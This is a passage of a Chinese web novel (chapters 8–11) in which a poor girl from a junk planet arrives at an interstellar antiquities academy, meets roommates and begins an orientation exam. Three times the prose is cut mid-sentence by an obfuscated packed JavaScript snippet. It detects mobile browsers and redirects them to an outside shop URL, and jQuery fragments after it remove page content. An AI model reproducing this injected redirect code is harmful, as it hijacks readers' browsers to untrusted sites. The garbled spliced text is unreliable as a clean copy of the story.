两万积分！她只剩两万积分了！ 她目光呆滞，绞尽脑汁也想不起来有什么超额消费。普通图纸会大大增加源纹失败概率，所以C级图纸300积分一张；有了C级图纸她就不能随意用来堵鼻血了，全星网最便宜的纸巾8积分一卷，她已经用完整整一箱了；在有大量样本的情况下观察实验必须要进一步精确，低配实验室体重秤9000积分一个，买一送一，不过送得不是称而是机械灯；非特殊情况不喝但因为身体原因不得不每天都喝的C级营养液50积分一瓶，满200积分可以打九五折还能剩下一笔钱…… 她甚至赚了一个机械灯，一个笔记本，十五支写字笔，两卷纸巾，还有整整1000积分！ 实践证明，她是省钱小能手，而星际社会的钱不是钱。 除了给变异巨鼠绘画觥的源纹，荀玉还将捡到的全部文物碎片修复出来，并尝试用多余的精力绘画源纹。 不知上次那股浩瀚的精神力是不是巧合，总之荀玉再也没有从剩下的文物碎片中感受到那种力量。这些文物碎片无一不黯淡无光，外溢的源力少之又少。 仲老似乎很忙，荀玉发出去的消息一概没回。反倒那个快快乐乐秘书小姐又给她寄了一次快递，她检测到寄出去的光脑被激活后加上了荀玉的通讯账号，两个人一来二去竟聊了起来。 【快快乐乐秘书小姐】：“小穷鬼，这么多天了你还没告诉我当时你见到晋议员是什么感受。” 【W217S##00000】：“秘书小姐，您知道仲老吗？” 【快快乐乐秘书小姐】：“仲老？仲丘老先生？他是星际第一研究学院的院长，也是文物研究院特派星际一区的首席，代表了整个星际一区的文物研究发展水平，在整个联邦内享有研究院特权。不过……依我观察，他可能并没有弄明白研究员特权到底是什么。” 【W217S##00000】：“……好的，谢谢您，忠于晋议员的快快乐乐秘书小姐。” 【快快乐乐秘书小姐】：“所以，你还没告诉我，你和晋议员之间发生了什么！” 【W217S##00000】：“秘书小姐，现在联邦时间十二点十三分，我还是未成年，必须要休息了，晚安。” 【快快乐乐秘书小姐】：“……我再也不给你寄东西了！” 这位秘书小姐很符合她的人设，对她口中的晋议员推崇至极，每次荀玉都不免遭到她的询问。 荀玉解释再三，说他们甚至并没有在真正意义上讲过话。 秘书小姐嘤嘤哭泣，对晋议员有他自己的小秘密这件事伤心欲绝。 荀玉：“……” 时间飞逝，眨眼就来到了各学院开学的日子。 星际第一学院专门开设了为期两天的专业指导课程，因此时间比其他四个学院更早。 就在荀玉还在呼呼睡大觉时，一架小型飞船缓缓降落在下水道出口处。 身穿星一院教师制服的卫凌丰下了飞船，和一群变异巨鼠目目相对。 卫凌丰：“？？” 他们学院的学生又升级了？ 8. 开学 亘古不变的太空流淌着一条银色的长河，从不知名的深处倾泻而下，无数星子汇成璀璨星海，闪耀在无边的宇宙中。联邦M5317系列太空接收器遍布在各个星球上空，守卫太空的平静和安宁。宇宙的浩渺与人类科技文明交织在一起，奏响着人类在未来星际的宏伟乐章。 荀玉录了一段视频发给布鲁斯。 【W158P*#766513】：“就坐个飞船有什么好拍的，我又不是没有坐过！真是大惊小怪。在外别这么没见识，丢脸。” 【W217S##00000】：“……”证实了，你真坐没做过。 【W217S##00000】：“好的，布鲁斯先生。” 布鲁斯对太空飞船嗤之以鼻，曾经用一种极为不屑的语气说太空乌漆嘛黑并没有什么好看的。荀玉一登上飞船顿时就反应过来布鲁斯八成是胡诌的，现在想来当时他发抖的大胡子定是心虚的表现。所以荀玉才毫不犹豫拍了视频发给他。 “征服宇宙的野心才是人类在未来星际活下去的动力。”卫凌丰从后面走过来，把报名指导手册递给荀玉。 荀玉接过，表情有些疑惑：“飞船只接了我一个人吗？” “往年星一院的学生居住地集中于C、D级星球，尤其是D星，一搜联邦星舰就全拉走了。倒是很少有人只填个废星的编码，连定位都定得乱七八糟。”说着，卫凌丰意味深长地瞥了她一眼。 要不是教务处检测到了定位有异，卫凌丰又秉持绝不放弃每一个学生的学院理念，牺牲自己的假期亲自将荀玉的详细住址扒拉出来，荀玉很有可能就此错过此次开学了。 “五区交界处的星球基本都为废星，附近没有其他报名的学生，所以我就单独过来了。” 荀玉微囧：“……谢谢老师。” 她态度十分诚恳，对于那只老旧的光脑很有自知之明，卫凌丰能精准找到这儿绝对废了不少心思。 那位快快乐乐秘书小姐也曾抱怨地提过一句，说因为太空乱流她根本无法将快递地址定位到她家门口，想要一个具体的地址。荀玉想象了一下到时的画面，快递上明明白白写着混着乱码的收件地址：星际第一行政区134号废星#？山头**街道废弃下水道，不知是不是因为对面是个女生的缘故，荀玉莫名有些难为情。她谢过秘书小姐的好意，说真的不用这么麻烦，毕竟废星上并没有送快递的机器人。 荀玉安静地坐在座位上翻着指导手册，任由卫凌丰打量。卫凌丰见她只对窗外看了几眼便收回了视线，不由得好奇：“你以前做过飞船？” “没有，”荀玉摇摇头，“只是听一个认识的长辈提起过。”只不过那个长辈在胡说八道罢了。 被汗浸湿的手心表明了某个人的内心并不像表面看起来那么平静，但荀玉向来习惯伪装成若无其事的样子，她默默地激动就好。 报名指导手册只有简单几页，里面详细交代了明后两天有关专业指导课程的安排，还包括报名手续、学院地图、报名学生住宿指南等其他事项。 荀玉翻到最后发现手册上只有最近两天的安排，“为什么手册上只写了对报名学生的要求，没有入学指导吗？” 卫凌丰一脸每年都要回答这种异想天开问题的表情，语气流畅像是回答了无数遍：“不是报名成功就可以进入学院，在选择专业之前每个人都要进行源感力测试，有源感力的人才能真正成为学院的学生。每年都有相当一批学生止步于报名，不过他们之中有不少人是借此机会去别的星球转转的，蹭上星一院的飞船能省下一笔路费。” “学院不制止这种行为吗？” “要知道，C、D级星球的人往往没有条件往返于其他星球，不说积分，光是跨星系许可证就足以阻拦绝大部分居民。他们通过报名乘坐飞船就可以免除许可证这个必要条件，这时一个家庭只要攒出一趟路费就够了。” “而C、D星上愿意为孩子出这一笔钱的家庭并不多，”卫凌丰顿了顿，接着说，“在星际接受教育要承担巨额开销，追求短期回报的家庭并不能接受这种负担，导致有不少在文物研究方面有天赋的孩子被埋没。学院承担其中一部分路费，可以消除他们的部分犹豫，给孩子们更多机会。” “成为文物研究员就能实现阶层跨越，这是多少人求之不得的事情，而低阶星球上的人往往想都不敢想。他们能想到蹭报名飞船，就是迈出了离开低阶星球的第一步，院长说不论他们是否真心入学，总要给他们看看外面世界的机会。” 荀玉皱眉思索，“这么做得只有星一院，除了克洛蒂亚不开放贫困生通道，其他三区学院对于贫困生限制十分严格，我想其他区域低阶星球的家庭也没有渠道满足他们贫困生的条件。” “你说得不错，”卫凌丰给了她一个赞赏的眼神，“他们对于源感力等级的要求就足以比得上我们学院中上游水平的学生了。一个没有受过专业教育的学生想要做出文物研究相关作品，金钱、人脉、资源都必不可少。一般只有B星及以上的人才能达到这个要求，但他们比起联邦贵族又没办法提供整整四年的学费，因此会走贫困生通道获得相应补助。” “贫困生补助并不是无偿的吧？成为他们的贫困生还要签署他们各区的研究调配书，这个调配书有什么限制吗？”荀玉想起报名官网上最不起眼的这一条要求。 “对，这就是三区学院从贫困生身上拿得报酬。研究调配书自生效之日起一百五十年内具有强制执行力，签署调配书就要听从各区政府和研究院的要求，未来工作和居住地区、工资薪酬甚至婚恋伴侣都需要经过统一调配与审核。况且调配书在签署之前都是绝对保密的，一个没见过世面的孩子能知道什么，等反应过来一切都晚了。”卫凌丰语气不变，但荀玉依然能从中听出一丝讥讽。 未来星际的人类最长寿命可达二百年，签署一百五十年的调配书就代表整个人生的大好时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067699|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光都被困于这纸调令中，着实和卖身契无异。 卫凌丰发现荀玉不似往年的学生般青涩懵懂，尽管她对联邦常识也知之甚少，但谈吐清晰，思维方式成熟，于是一路上和荀玉讲了不少最近各学院的动向。荀玉能迅速抓到问题关键，和他讨论得有来有回，卫凌丰惊喜不已，心想说不定今年贫困生里真能出个宝。 到达星一院时人造太阳已经落山了。 星际第一研究学院坐落于715号B级星球，荀玉一下飞船就看见了拔地而起的学院大门。大门上面刻满了正在运行的源纹，它们首尾相接环环相扣富于变化，独特的光泽向人类展现着源源不断的生命力。正中间镶嵌着星一院的标识，荀玉辨认出那似乎是“人”的古文字。手握文物的人背靠浩瀚星海，以其为中心调动起了整个源纹体系的运转。大门上的源纹汇聚于此，又似乎是由此处诞生向外延展，循环往复，生生不息。 学院内四处可见的文物图标像是带人回到了古文明时代，外溢的源力散发着令荀玉分外熟悉的气息。远处充满科技感的楼房建筑群高耸入云，联邦G113系列巡视器正在星球上空徘徊，教学楼透明玻璃窗偶尔折射的蓝色流光提醒着人类，他们正处于科技高度发达的未来星际。 “我还有其他学生要接，你自己进去吧。”卫凌丰赶时间，说罢便匆匆开着飞船走了。 学生报道处相当醒目，有三个人高的牌子上涂着厚厚的颜料，上面写着大大的“学生报道地点”六个字。荀玉隐约能从这六个字下面辨认出“新生就餐点”、“新生促销”、“请不相干人士尽快离校”、“放假啦！！”等字样。 荀玉：“……” 一块板子也能用到这个地步，有种不太好的预感。 “请出示报名表，”机器人守在桌前，仪器扫描过荀玉的脸庞，“W217S##00000——荀玉，报道成功。” “请加入学院共享网络。” “W217S##00000——荀玉，加入成功。温馨提示，您的共享网络权限仅开放两天。如果您成功成为学院学生，学院系统会自动将您划入永久权限范围。” “专业指导课程将于明天开始，住宿等一概信息已导入您的光脑，请及时查看。” “祝您学业顺利。” 机器人做了一个弯腰恭送的姿势，荀玉的目光聚焦在机器人手臂上花里胡哨的补丁上。 “经分析，您的目光里含有50％的嫌弃，40％的担忧，7％的无语和3％毫无源头的决心。” “亲爱的小姐，您的目光对机器人来说是不礼貌的。请您放下内心的偏见，否则这将不利于您在人类社会的发展。” 荀玉：“……谢谢提醒。” “亲爱的小姐，您的宿舍在右边，请。” 报名学生的宿舍被安排在星一院临时居住区，严格来说并不算学生宿舍。宿舍四人一间，荀玉到的时候其她三人已经到了。 9. 就餐 “你好，我叫崔晗，来自B星。”说话得是一个皮肤白皙的小姑娘，浅笑起来时左脸颊有个酒窝。 另两个女生还在埋头收拾床铺，见荀玉进来两个人神情都有些不自然。 崔晗见状替她们开口道：“左边瘦瘦弱弱的女生叫姚瑶，右边动作利索的那个女生叫陈昭文。我们都刚来不久，彼此还不太熟悉。” 荀玉向她们打了招呼，“我叫荀玉，来自废星。” 崔晗面露惊讶，这才注意到荀玉一身缝缝补补的衣服，顿时懊恼刚才她提及星球的事。她刚才打开门看像荀玉第一眼时，觉得她眼神太过于淡定了，以为她至少也和她一样出身于B星。 陈昭文停下了正在套被罩的动作，“废星？废星是什么样？能住人吗？”左边那个文静的女生也竖起了耳朵。 荀玉思索了一下，“因为废星是垃圾填埋场，按理来说是不能住人的。但有很多被等级星球驱逐的人无家可归，或是没办法在其他星球上活下去，不得不在废星上寻找出路。” “比如呢？”崔晗好奇地问。 “比如……捡垃圾吃？” 现在的星际垃圾含有不同程度的辐射，垃圾处理人员的防范措施必须要达到联邦医用防范标准才能操作，不能想象如果直接食用会产生什么影响。 “天呐！”陈昭文发出了感叹，“我以为D星已经够苦了，没出来之前我们一直有做不完的苦力，如果要赶工期我们甚至都回不了家。就住在工地大棚里，有时候我在那睡过觉后会吐得天昏地暗，工地上的叔姨们说那是因为有太空辐射……” “废星一定更苦，”絮絮叨叨讲了一通，陈昭文下了结论，“你也太厉害了。” 姚瑶使劲点头表示认同，小声地说她也来自D星，不过因为力气小，包工头不要她，她只能做些手艺活补贴家用。 太空辐射？ 荀玉心里咯噔一下，她在此之前并不知道食用垃圾有什么危害。 话匣子一旦打开就彻底止不住了，崔晗也并没有来自B星的趾高气扬，于是气氛逐渐热络起来。几人边收拾边交流以往的贫穷人生，陈昭文主输出，姚瑶打配合，荀玉站在人民的后方精准总结。 崔晗在一旁插不上话，脸上明显是认识新世界的震惊，她从不知道一个人光是穷法都能穷得五花八门。她出门前，爸爸明明交代过她，要以平常心待人。可是…… 陈昭文正讲得眉飞色舞，昏黄的光笼罩在她身上，溅出的唾沫星子能看得得一清二楚。姚瑶偶尔一脸严肃地插上两句话，自责自己没能跟家里分担更多。荀玉瞪大了眼睛，试图从她们二人身上汲取更多生存经验。 “废弃零部件还能组装？！”荀玉失声。 “嗯！”姚瑶点点头，“如果能组装出一些机巧玩意儿，哪怕没有生产价值，也能多买上几个积分，比直接倒卖零件合算多了。”这是她这么多年研究出来的经验。 “！”荀玉想起和布鲁斯讨价还价的样子，仿佛痛失整个世界。 崔晗：“……” 她们好像真的不太需要……现在轮到她要担心自己会不会合群了。 四个人加上光脑后又聊了好一会，不过因为白天一路奔波，大家都有些精力不济，草草洗漱过后便关灯睡了过去。 荀玉在睡前给布鲁斯发了消息，她躺在床上莫名感到心神不宁。 …… 第二天早上七点，每个人的光脑都发出了学院起床铃声。 陈昭文二人忙于帮家里干活，平常起得要早得多，今天倒是难得睡了个饱觉。荀玉只要没有精神透支，一般也起得很早。崔晗已经起床换好了衣服，乖乖坐在床边等着她们起床。 “晗晗，你怎么这么早就起了？”姚瑶把脸蒙在被子里，怕崔晗讨厌她这么喊，声音越来越小。她刚开口时就已经后悔了，可是她已经这么喊了，只能硬着头皮说下去。 崔晗弯着眼睛，“我也是刚起。听说今天学院的早午餐都是免费的，再不起床可就没有了哦。” “！” 姚瑶从被子里爬出来开始麻溜换衣服，陈昭文和荀玉的动作也纷纷加快。 姚瑶一边穿外套一边有些愉快地想，刚才崔晗的酒窝真好看。 “不是说这两天只有午饭是免费的吗？”荀玉想起指导手册上的内容。 “嗯，本来历年都是这么安排的，”崔晗说，“但今年学生的体质好像普遍都不好，所以这两天学院多添了一顿早餐，每天傍晚我们都还可以额外去领一瓶营养液。” “学院太伟大了！我当初来的时候本来都做好饿肚子的准备了，”陈昭文鼻子有些发酸，“在飞船上知道我这两天还能吃上免费午餐时兴奋地头都撞船舱上了，这下可好，一天两顿，还有一瓶营养液，等我回去工地上的人不得羡慕死我。” “那我们快走吧，等没饭吃的时候你可真要哭鼻子了。”崔晗打趣道。 陈昭文眼泪登时憋了回去，姚瑶在旁边小声地笑了起来。荀玉已经利索地收拾好了，倚在门边陪崔晗等着她俩。 等荀玉她们去的时候餐厅里已经排起了长长的队伍，整个餐厅人声鼎沸，每个人的脸上都喜气洋洋的。 姚瑶和陈昭文也不例外，一路走走停停，向往之情溢于言表。 “如果我能一直留在这儿就好了。”姚瑶的眼睛里映着正在餐桌上吃饭的学生们，他们似乎已经成了学院的一份子，什么样的举动都不会显得怪异。 陈昭文罕见地没有开口说话，一直在拿着光脑四处拍照。 取到饭后她们找了个人少的角落坐了下来。 今天的早饭是一碗稀释的小米粥和两个没什么馅的包子，饶是如此荀玉三人也吃得狼吞虎咽。 荀玉自从来了这里就没吃过一顿正儿八经的饭，除了动用源感力时必须通过营养液补充体力，其余时间她并不舍得把为数不多的钱浪费在吃喝上。 崔晗明显吃不太惯，她只吃了几口就停了筷子，看着荀玉她们的样子第一次觉得自己挑剔。 荀玉立刻抓住机会：“崔晗晗，你的饭不吃了的话可以给我吃吗？” “啊？”崔晗有些反应不过来，她看看荀玉，又看看陈昭文她们，发现她们三个皆用眼巴巴的目光看向她，“哦。” 崔晗呆呆地应了声，再回过神时她吃剩的包子和小米粥已经被三人瓜分了。 崔晗：“……” “咦？”姚瑶不解，“晗晗你的脸怎么红了呀？” “没……没事。”她只是觉得吃别人剩饭什么的，也太过于亲密了！就连她的爸爸妈妈也从来不会这么做！ 三个人丝毫没有察觉到她们的行为带给了崔晗多大的震撼。 一个稀疏平常的日子里，她的内心似乎突然被什么东西撞了一下。崔晗身后一片喧嚣，面前的三颗脑袋挤在一起吃得稀里呼噜，像是在对待什么世间美味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067700|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 荀玉的头从崔晗碗里挣扎出来，无比满足地喟叹，嘴角沾上的米粒都跟着笑盈盈的。 崔晗噗嗤笑出声，她点点自己的嘴角示意荀玉注意形象。 荀玉不在意地抹了下嘴角，语气难得有明显的波动：“谢谢你，这下我是真满足了。” 陈昭文嘴里还塞着全是面的包子，含糊不清，“****&#**嗯……****，谢谢！” 那声谢谢还是崔晗通过陈昭文的语调神态猜出来的。 她们这边吃得其乐融融，餐厅的另一边氛围似乎不太融洽。 “老子才二十五！凭什么不能报名！”一个身材魁梧的男人一拍桌子，站起来大喊道。 联邦规定二十五岁以下的公民都有权报名文物研究学院进行学习，因此二十五岁是很敏感的一个年级。 “二十五？！你当我眼瞎吗！”对面的那个青年大声喊道，“你二十五那我多少？！你的脸长什么样子心里没点数吗？！” 魁梧大个头满脸皱纹，一脸凶相，他恶狠狠地说道：“你不信？不信我们就把身份编码亮出来给大家看看，到底是谁在胡搅蛮缠！” “看就看，谁怕你！”青年极不服气，这年头怎么什么人都能装二十五。 两个人同时亮出自己的光脑。 大个头：S208DD907661 青年：S208DD732090 围观众人：“哦～！” 青年顶着一张娃娃脸，气得脸都青了，“不可能！你怎么可能二十五！你是不是伪造了身份编码？！” “你放屁！老子敢作敢当，才没有！” 荀玉看崔晗皱起了眉，不由问她：“怎么了？他们有什么问题？” 崔晗回过头认真说道：“每个联邦公民的身份编码都是公开且唯一的，不论出身好坏，大家对自己的身份编码都有强烈认同感。很少有人会去质疑身份编码的真实性，因为它实际上就是代表了个人。” 质疑一个人的身份编码，就是在质疑这个人。怪不得那个大个头会气成那样。 荀玉听罢摸着下巴，看向坚称对面身份编码是伪造的青年。 “那他们谁真谁假呀？”陈昭文凑过来加入讨论。 “大个头是真的。”荀玉说。 “欸？为什么？”这话是姚瑶问得，仅从两个人的外表上来说，乌发青年明显更为年轻。 荀玉微微一笑：“猜的。” 场面愈发焦灼，大个头气得满脸通红，眼看劝架的几个男生就要摁不住人了，正欲冲上去干仗的他却自己停了下来。 “不对啊，你的联邦公章为什么是浅蓝色的。”大个头突然反应过来，“真正的身份编码上所印有的公章都是深蓝色的，只有你是浅蓝色的，你才是变编造的！” “你胡说！”青年的声音更大了，“明明都是一个颜色，你凭什么这么说。” 众人连忙围上去看，发现两个公章的颜色确实一样。 “确实都是一样啊，你不是在胡说吧？” “对啊，我完全看不出来有什么差别。” 众人七嘴八舌地在一旁讨论，大高个听见大家不相信自己，连忙亮出一张医学鉴定表。 “我精神视觉系测定有C级！你们看不到可不代表我看不到！” 轰！ 一句话成功让周围的人炸开了锅，青年也顿时变了脸色。 10. 专业指导（1） “精神视觉系！” “还是C级！我这辈子第一次见！” …… 荀玉在众人的兴奋声中一头雾水：“什么是精神视觉系？” 陈昭文和姚瑶也一知半解，这些东西对她们来说太过遥远。 “是精神能力者的一种分支，”崔晗解释道，“精神能力者根据具体能力的不同分为记忆类、攻击类、研究类等等，但它们之间没有严格的限定。比如精神视觉系可能具备远超常人的观察力、可以化为实体的攻击力、无视阻碍的透视力等，这些能力应用在不同行业会被划分为与其相对应的类别，并不是一成不变的。文物研究员因为具备和精神力密切相关的源感力，是精神研究系中的一个大类。” “他精神视觉系的能力应该是观察颜色。” “只能用来观察颜色？”荀玉好奇地问。 崔晗犹豫了一会儿，细细打量过大个头后给出了肯定答案：“……嗯。” 另一边周围的人围着大个头喋喋不休，“你都是C级了为什么还要报名星一院，这不是自找苦吃吗？” 文物研究员伤病率、死亡率远超其他行业，有些人穷尽一生也没能在文物领域闯荡出自己的天地。再加上文物研究又极为烧钱，绝大多数研究员的积蓄几乎都花在这上面，能达到养家糊口的地步就已是不容易，崇高的职业地位与艰难的晋升之路让无数研究员又爱又恨。 而其他精神能力者往往能凭借自己独特的用处被联邦上等人和各大家族招揽，他们一般会跟随雇主进行研究或考察，待遇优厚，工作体面。个别有良心的雇主还会为他们提供一百七十五至二百岁的养老基金，是普通人求之不得的机会。 大个头一下子被问倒了，他有心解释却不想承认自己的能力无用：“总之你别管，反正刚才我没有骗人！” 对精神能力者依然懵懵懂懂的报名学生，问出了自己的疑惑：“所以精神能力者都长你这个样子吗？使用自己的能力就会付出自己的外貌或者寿命？！那……你岂不是很厉害……？” 大个头在餐厅哄笑声重新涨红了脸，他凶神恶煞地瞪了那个学生一眼，大手一挥指向伪造身份编码的青年，生硬转移了现场的焦点：“伪造身份占据学院报名名额，是要被抓起来去服星际苦役的，别让他跑了！” 餐厅警报声骤然响起，有学生按下了紧急警报器。 青年在大个头亮出医学鉴定表时便做好了跑路的准备，像条泥鳅穿梭在乱成一窝蜂的餐厅里。他一边奔向出口一边在心里狠狠咒骂，他混迹星际那么多年，居然败给了一个二十五岁的丑八怪！ 操，就他那张脸凭什么才二十五！ 学院保卫队赶到餐厅了解情况时，青年早就跑没了影。 学生报道日的安排十分紧凑，餐厅的闹剧很快就被揭过。 虽然星一院历年开学前都会进行为期两天的专业指导课程，实际上与其切实有关的部分只有一天的时间。明天一早学生们就会被安排进行一系列检测，只有具备源感力的人才能进到学生信息大楼进行专业报名，成为星一院真正的学生。 操场上标有赤橙黄绿青蓝紫七种颜色的空地，每个颜色都代表不同的指导老师。荀玉四人被分到了四种不同的颜色，各自相距甚远，不得不分头各自行动。 荀玉来到蓝色区站定，她走过来时特别留意了一下其他颜色的区域，每个区域的人数有一百三到一百五不等。她们离开餐厅时还有相当一批学生没有赶过来，因此保守估计每个颜色区块至少能分到二百名学生。从报名生的衣着、行为、神态上看，贫困生的比例几乎能达到50%，等级制度带来的差异在此刻格外扎眼。 操场上的人逐渐增多，每一个区域的学生都在二百人上下，和荀玉估摸地差不多。 突然，人群中传来骚动。 “老师来了！快看！” “没想到有朝一日我也能见到星际一区大名鼎鼎的研究员们，当真是死而无憾了。” “呸呸呸，说什么晦气话。不过这一趟来得值！” 身穿天蓝色制服的年轻研究员们列队进入操场，他们目光坚韧、大步流星，挺拔的身姿昭示着他们内心深处的底气。周遭似乎形成了独特的空气流，在学院中四处散布的源力围聚在他们身边，如点点萤火，闪烁着文物传统的浪漫。 荀玉定睛一看，接她来学院的卫凌丰赫然在列。 一个扎着高马尾的年轻女研究员走到蓝色区域的高台上，她单手插兜，另一只手举着大喇叭，声音强劲有力：“大家好，我是你们的专业指导教师。简单自我介绍一下，匡文婷，中级文物研究员，星一院文物研究修复系讲师。如果你们有足够的实力和运气成为学院的学生，我想我们依然有机会见面。” “中级研究员！居然这么年轻！” “她姓匡，是不是那个匡？” “这么年轻的话……肯定没跑了，除了那几大家族谁能培养出这么年轻的中级研究员。” 荀玉一边留心人群中的消息，一边把文物研究修复系这种专业名词记在心里。 “安静！”匡文婷的视线扫过下面的学生，“出身会影响你的起跑线，但不会阻碍终点线。只要你够拼，就没有什么是做不到的！不论你们现在是不是星一院正式的学生，只要你们在学院内一天，就必须给我端正状态。在这里，拼命，才是你们唯一的出路！” “下面，我正式宣布你们的任务。” …… “任务？不是老师授课吗，怎么变成对我们的考核了？” “完不成任务会不会影响我们入学啊？”有学生急得带了哭腔。 匡文婷丝毫没有要解答他们困惑的意思，但卫凌丰扯着大嗓门就在隔壁。荀玉在只能看见前一个人后脑勺的人群中艰难听出了其中的缘由。 “根据往年的经验，专业指导课程的内容吸收率远低于60%。老师站你们面前讲一天，就是牛屁股后念祭文——白费口舌。所以，今年调整了一下课程顺序，先由你们在学院内进行探索，不限方式、不限手段，找到与报名有关的任何信息，提交归档，学院系统会根据学院数据库进行打分。最后再由老师统一进行讲解，回答你们的疑惑。” “特此说明，此次考核不影响明天的源感力测试，但它将会成为你正式入学后的第一份成绩。” “孰轻孰重，你们自行斟酌。” “解散！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067701|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 荀玉的光脑自动接入学院考试系统，里面只有两个图标。地图图标里是一张灰色的星一院地图，大到建筑楼群小到每一个花圃的名称都标注在上面，比报名指导手册上的地图详细得多。另一个是带有试卷样式的图标，用来汇总资料回答问题。 不过此刻打开试卷图标只有记录功能，考试作答尚未开放。 【专业指导课程之考核测试，正式开始，请您仔细阅读以下内容。】 【1、考核总时长为六小时，最后一小时开放答题模式。答题过程中可以使用记录功能中的内容，中途不得退出考试系统，退出即按默认提交处理。】 【2、本次考核与您能否入学无关。】 【3、在保障人身安全前提下，本次考核全程不禁止任何手段。】 【4、祝各位考核愉快。】 荀玉：“……” 深谙考试之道的荀玉发现真正和考核有关的内容，被老师一笔带过。光脑上的说明提都没提，甚至话里话外都暗含撺掇之意。 ……这大概也是考核的一部分吧，荀玉不怎么相信地安慰自己。 在老师宣布“解散”的时候，学生们就一哄而散，只有荀玉站在原地不知在研究什么东西。崔晗她们集合后便过来找荀玉，商量要一起行动。 荀玉欣然答应，她们在地图中就近选了图书馆。 选择首先来图书馆的学生并不在少数，有关校史那一楼层更是人满为患，他们试图从书里获取到有用的消息，还在途中碰见了留校的二、三年级学生。 脑袋机灵的报名生已经上去攀谈好一会儿了，那些学生看起来也很好说话，陪他们谈天说地，一时之间图书馆内充满欢声笑语。 荀玉站在一旁看得分明，那几个留校生硬是凭借几人之力拖住了一百来号人，真正有用的信息一个字也没吐出来。 图书馆校史楼层有关书籍多达两万四千多本，电子资料更是数不胜数。光脑上的定位不知不觉被开启，荀玉看了眼已经被点亮的图书馆标志，怀疑事情并没有想象的那么简单，此刻在图书馆耗费大量时间并不是明智的决定。 姚瑶弱弱地举起了自己的手：“我留下来吧，考核内容没有范围，万一牵扯到书里的内容我们四个中至少要有一个人清楚。” 荀玉却表示不同意，她猜测推进学院地图点亮图标也是考核之一，她们不能让姚瑶自己一个人留在这里。 “一个小时，”姚瑶想了想，“不管我看了多少，一个小时之后就去找你们。” 时间紧迫，三个人即刻出发去往下一个地点。 姚瑶默念荀玉对她的叮嘱，在光脑上设置好时间后，就在万册书海中快速浏览起来。 十个手工制品才能换来一积分的时候，她在纸箱堆积的角落里十指不停，从天黑坐到天黑。绞尽脑汁试图让妈妈带回来的废弃零部件更有价值时，她又整宿整宿研究本来不该被组装一起的零件。 这些事情就像检索图书一样，不需要多聪明，只要有足够的耐心。 姚瑶又恰好是一个不聪明的人。 她很少表达，沉默的人往往有常人难以想象的耐心。 她正合适。 11. 专业指导（2） 考核测试进行得如火如荼，书籍、展览、路标等只要肉眼可见的地方，都可能藏有与学院有关的信息。报名生简直如过境之蚁，叮蛋的苍蝇，见缝插针，无所不用其极。 G113巡视器在上空巡逻，探测摄像头悄无声息地对准了下方的学生，将他们的一举一动全方位无死角地传送到各位指导老师面前。 “这块花圃被我承包了，要想从这里经过，把你收集的资料交出来！”一个考生从花圃后面跳了出来，因为趴在地上蛰伏太久，沾满泥巴的两条腿微微打颤。 路过的人莫名其妙扫了他一眼：“有病吧。”然后逆时针方向绕着花圃走掉了。 守在屏幕前的卫凌丰：“……” “哎哎哎，这位同学，同学！既然规则里说了不限方式不限手段，那就说明我们之间的友好交流都是符合规定的嘛。你刚从信息大楼里出来吧？巧了，我也在校友馆里发现了一些信息，咱们相互借鉴一下呗？” “我发誓我绝对不是骗子，这样，为了表达我的诚意，你先看我的，行不行？” 十分钟后，校友馆信息在光脑录入完毕。 眼镜男佯装打开信息大楼的资料，突然抬头看向远方，面露惊喜：“你的资料也收集完了？” 对面的考生顺着眼镜男的目光回头望去，一望无尽的路上考生三三两两聚集在一起交流得热火朝天。 “你在和谁说话？” 考生疑惑地回过头，发现眼镜男早早跑得没影了。 “靠！你他妈才是骗子，还我资料！” 中途荀玉三人经过了艺术馆的厕所，陈昭文眼尖地发现女厕门口挂了一张略显匆忙的纸条。 “内有男生，不是流氓，不要报警。” 不等陈昭文吐槽，厕所里传来了抱怨的声音，仔细一听里面竟然还有女生。 “老赵，快呀，你到底行不行。” 被唤作老赵的那名学生死死掰着马桶下面的板砖，汗如雨下，“操，再废话……那你来。快来搭把手！” “说好了，发现的纸条消息我们共享，你们休想独吞，这可是女厕！”女生义愤填膺。 “那个……你们在干嘛呀？”陈昭文把头伸进厕所里，加入了他们的谈话。 女生翻了个大大的白眼：“我来上厕所呢，谁知道他们在干嘛。反正找到信息了大家要一起看，你进来等等吧。” “我们是认真的，我们真的从厕所里掏出过写有信息的纸条，不信你们看。”男生急忙从裤兜里掏出几张纸条，证明他们不是在瞎扯。 “掏？”纸条上似乎粘着不名物体，再加上那个老赵对检查厕所无比熟悉的动作，陈昭文艰难地咽下嘴里的唾沫，“哈哈……那什么，我就不和你们一起了，祝你们顺利哈。” 